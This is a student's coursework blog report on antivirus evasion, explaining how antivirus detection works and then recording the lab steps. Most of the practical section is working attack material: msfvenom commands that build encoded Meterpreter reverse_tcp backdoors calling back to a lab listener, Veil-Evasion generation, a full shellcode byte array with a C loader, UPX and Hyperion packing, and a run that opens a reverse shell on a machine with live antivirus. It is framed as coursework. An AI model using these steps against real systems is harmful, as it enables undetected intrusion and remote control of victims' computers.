20181330 王茜《网络对抗技术》Exp3 免杀原理

1.基础问题回答

1.1 杀软是如何检测出恶意代码的?

杀软检测恶意代码有三种方法:
1.基于特征码的检测

杀软是通过样子识别的。

在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。

例如在Windows的防火墙扫描的时候,发现要写入磁盘的代码段和特征码库中的一个或多个相同,就会识别出恶意代码。

所以,杀软需要及时更新这个特征码库,否则只能识别很老的恶意代码,也就没有什么用了。

当然,每个杀软的特征码库一般是保密的,这是竞争力所在,网络上很难找到特征码库。但是,可以使用Snort进行检测,这是一个开源的入侵检测平台。

  • 基于特征码检测的优点是:精确地识别恶意代码。
  • 基于特征码检测的缺点是:滞后性。不能检测0-day恶意软件,可能会对造成一些危害。0-day恶意软件是还未被发现的漏洞,它可以进行任何攻击行为。

2.启发式恶意软件检测

杀软是通过样子+行为识别的。

相比于特征码检测,启发式恶意软件检测是一种比较模糊的检测方法,没有特征码检测那么精确。

启发式恶意软件检测是通过片面特征推断是否是恶意代码。

可以通过他的样子判断,例如文件的签名、结构、厂商信息等,是否有异常信息。比如一般Windows平台下编写的软件是使用Visual Studio,mac下编写软件使用的是XCode,如果出现使用Linux下编写的软件就要注意是不是恶意代码了。

也可以通过他的行为来判断,看他是否有那些恶意代码的典型行为。例如这个程序有没有连接恶意软件?开放端口?修改系统文件?反弹连接等等……

  • 缺点是:
    • 与特征码检测比起来,不够精确
    • 由于实时监控系统行为,开销较大
  • 优点是:
    • 可以检测特征码无法检测的0-day恶意软件
    • 具有一定通用性

3.基于行为的检测

杀软是通过行为识别的,只关心他干了什么事。

是指通用的、多特征的、非精确的扫描。

1.2 免杀是做什么?

一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。

1.3 免杀的基本方法有哪些?

基本方法有两大类:

1.改变特征码(改变样子)

  • 如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
  • 如果还有shellcode(如Meterpreter):
    • 可以使用encode进行编码,改变他原本的特征码
    • 基于payload重新编译生成可执行文件。例如上次Exp2中重新写入另一个可执行文件,这样就不会有本身的特征,而会变得更像另一个文件
  • 如果还有源代码:
    • 可以使用其他语言重写再编译。例如python是一种跨平台的语言,可以进行重写然后编译,特征码会改变。

从上到下的三种方法,越往下有的东西越多就越好做。

2.改变行为

  • 通讯方式
    • 尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
    • 使用隧道技术,这个一般没有现成的组件。
    • 加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。
  • 操作模式
    • 基于内存操作。一般要写入硬盘的东西都需要检测。
    • 减少对系统的修改。
    • 加入混淆作用的正常功能代码。

2.实践总结与体会

上次实验我们虽然实现了很多功能,例如抓取截屏啊、录音啊这些,但都是在关闭杀软的情况下实现了,也不太符合现实情况。现实中被攻击的计算机不可能没有任何防护措施。

而这次实验中,我们体会到了一些实现免杀的方法,最后实现的时候觉得很惊喜,但是又很担忧。

我们只学了这么一点方法就能实现免杀,虽然是一段很简单的代码,那些黑客们想要入侵我们的计算机那不是易如反掌吗?

平时在使用计算机的时候一定要安全地使用才行。

3.开启杀软能绝对防止电脑中恶意代码吗?

不能。即使是最好的杀软,最多也只能检测出98%的恶意软件。

4.实践过程记录

4.1 先来试试一些能实现免杀的简单方法

4.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

Step1:免杀检测。

首先我们来检测一下实验二中生成的后门程序,使用VirusTotal或者Virscan进行扫描。

扫描结果如下:

 

 

可见,在VirusTotal网站上扫描的结果是:70款杀软中有52个都可以检测出来。

Virscan网站上的扫描结果是,50款杀软中有23个都可以检测出来。

可见,如果不对后门程序做任何处理,大多数的杀毒软件都是可以检测出来的。

那么我们接下来尝试对实验二生成的后门程序进行处理,再来看看杀软的检测的结果。

Step2:正确使用msf编码器,生成exe文件。

首先尝试进行一次编码,看看会不会少几个软件检测出来。

输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf1.exe 使用msf编码器生成exe文件。

命令分析:

  • -p:针对平台,该命令中选择的是Windows平台下的meterpreter组件,reverse_tcp连接方式
  • -e:选择编码器

  • -b:badchar,选择payload中需要去除的字符,这次我们去掉'\x00'

  • -f:生成文件格式

可以根据具体需要修改参数。

此时我们再在VirusTotalVirscan检测一下生成的文件。

可见,在VirusTotal网站上,70个杀毒软件中仍然是52个可以检测出来。

所以一次编码没有什么用。

那要是进行多次编码呢?是不是特征码就会改变呢?我们来尝试一下。

输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf2.exe 生成新的exe文件

命令分析:

  • -i:增加了-i命令,这是迭代次数,我们选择迭代10次

我们再使用VirusTotal网站检测一下,结果如下:

经过10次迭代以后,居然在70个杀毒软件中有53个可以检测出来,比之前还多了一个!

可见,迭代的方法已经无法避免被检测出来。这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀。

接下来我们生成其他文件类型试试。

Step3:正确使用msf编码器,生成jar文件。

输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x > 20181330-msf3.jar 使用msf编码器生成jar文件。

这时我们仍然使用VirusTotal网站进行检测,结果如下:

生成jar文件之后,在61个杀软中只有36个可以检测出来,有一点效果了。

Step4:正确使用msf编码器,生成php文件

输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x> 20181330-msf4.php 使用msf编码器生成php文件。

使用VirusTotal网站检测,结果如下:

生成phd文件之后,在58个杀软中只有20个可以检测出来,效果比刚刚好一点了。

所以生成的文件不同,检测的结果也是不一样的~

虽然说效果好一点,但是生成的后门程序还是会被很多杀软检测出来,所以我们使用veil加壳工具尝试,看一看效果。

4.1.2 veil,加壳工具

Step1:安装veil

这一步会很漫长,也会有很多错误,请耐心~

首先输入以下命令,进行安装的准备工作:

1 sudo apt-get -y install git
2 sudo apt-get install libncurses5* 
3 sudo apt-get install libavutil55* 
4 sudo apt-get install gcc-mingw-w64* 
5 sudo apt-get install wine32 
6 sudo apt-get update

在这里我出现了wine32安装失败的问题

解决方法:输入以下命令即可:

1 mkdir -p ~/.cache/wine
2 cd ~/.cache/wine 
3 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
4 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

接着输入 sudo apt-get install veil-evasion 进行安装

输入 veil 安装

这里我出错了很多次

尝试了使用 sudo apt-get purge veil 命令卸载重装

也尝试了从网上直接下载veil源代码

都没成功

最后的解决方法:使用手机热点。之前的错误是因为WiFi太慢,无法git pull,会出现网络错误。换了网之后很快就会安装成功,一路点击 next 即可,

最后执行命令 /usr/share/veil/config/setup.sh --force --silent 自动修复错误

如下图:

Step2: 使用veil-evasion生成后门程序

  • 输入命令 use evasion 进入Evil-Evasion

  • 输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

  • 输入命令 set LHOST 192.168.91.133 设置反弹连接IP,此处ip为Linux ip
  • 输入命令 set LPORT 1330 设置端口
  • 输入命令 options 查看配置

  • 输入命令 generate 生成文件
  • 接着输入文件名称为 veil-20181330.exe 

输出结果显示,文件 veil-20181330.exe 的保存路径为 /var/lib/veil/output/compiled/veil-20181330.exe 

Step3:VirusTotal检测

 

42个AV中有17个能识别,还是挺多的。

4.1.3 使用C + shellcode编程

Step1:生成shellcode

输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1330 -f c 生成一段C编写的shellcode,如下图:

输入命令 vi 20181330shellcode.c 新建文件,输入代码如下:

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x5b\x85\x68\x02"
"\x00\x05\x32\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

输入命令 i686-w64-mingw32-g++ 20181330shellcode.c -o 20181330shellcode.exe 编译.c文件为可执行文件

Step2:VirusTotal检测

 

69个杀软中有36个都可以检测出来,效果不是很好。

4.1.4 尝试加壳

Step1:试试压缩壳

压缩壳的作用是减少应用体积

输入命令 upx 20181330shellcode.exe -o 20181330shellcode1.exe 

目的是给原先的 20181330shellcode.exe 文件压缩加壳,重新生成文件 20181330shellcode1.exe 

使用VirusTotal检测检测如下:

Step2:再试试加密壳

 加密壳的作用是版权保护,反跟踪。

如果AV无法识别加密的内容,自然也就无法通过特征码这类方法判断恶意代码。

我们来尝试一下直接将刚刚压缩后的文件套上加密壳试试吧。

  • 首先将Step1中生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 中
  • 然后进入目录 /usr/share/windows-binaries/hyperion/ 
  • 接着输入命令 wine hyperion.exe -v 20181330shellcode1.exe 20181330shellcode2.exe 
  • 这时我出现错误:

仔细看看这个错误,提示我没有hyperion.exe文件了

 

让我们来看看

确实没有

后来查了很久,没有找到hyperion.exe文件,采用的解决办法:在Kali中使用mingw-w64编译Hyperion

按部就班地照着做就好了,没有难点

  • 解决了问题之后呢,我们再次把文件拷贝过来运行就好了

可以看到已经有hyperion.exe文件,重新输入!

加壳成功!传过来试试吧

啊哦,被发现了!

这是因为加密会导致熵过大,也就是信息过于密集,很容易被AV识别。

要改进的话,可以在每个字节后门加上一个空字节,减小熵,让相应的解密程序忽略掉这个空字节就好了。但是实现起来难度太大。

4.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

这里我使用了msf,但是突然崩溃无法运行了,做个实验真的好多坎坷/(ㄒoㄒ)/~~

报错如下:

解决办法:Kali(2020.4版本)遇到的metasploit启动崩溃问题,里面有原因解释和方法,在这里就不赘述了

好了,现在可以接着做实验了~

原理:

  • 利用msf生成一段shellcode
  • 新建.c文件,将shellcode写入并生成可执行文件
  • 加壳加壳加壳:加上压缩壳~
  • 再加上加密壳~
  • 再压缩一遍
  • 成功实现

结果:

4.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

 组员的电脑使用的杀软是腾讯管家,版本是V13.6

电脑版本是Windows10

和4.2步骤相同,这次我们来试一试生成raw文件吧

  • 输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=本机ip lport=1330 -f raw -o 20181330.raw 生成raw文件
  • 这时候我会报错,问题是没有权限,加上sudo重新执行即可

  • 需要在对方计算机上下载shellcode_launcher
  • 然后在对方的电脑上输入  shellcode_launcher.exe -i 20181330.raw 运行生成的文件

杀软没有发现

  • 在自己的电脑上依次输入:
msfconsole
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.91.133 //此处为kali端ip地址 exploit

之后成功实现回连!

 

posted @ 2021-04-04 17:03  王茜  阅读(192)  评论(0编辑  收藏  举报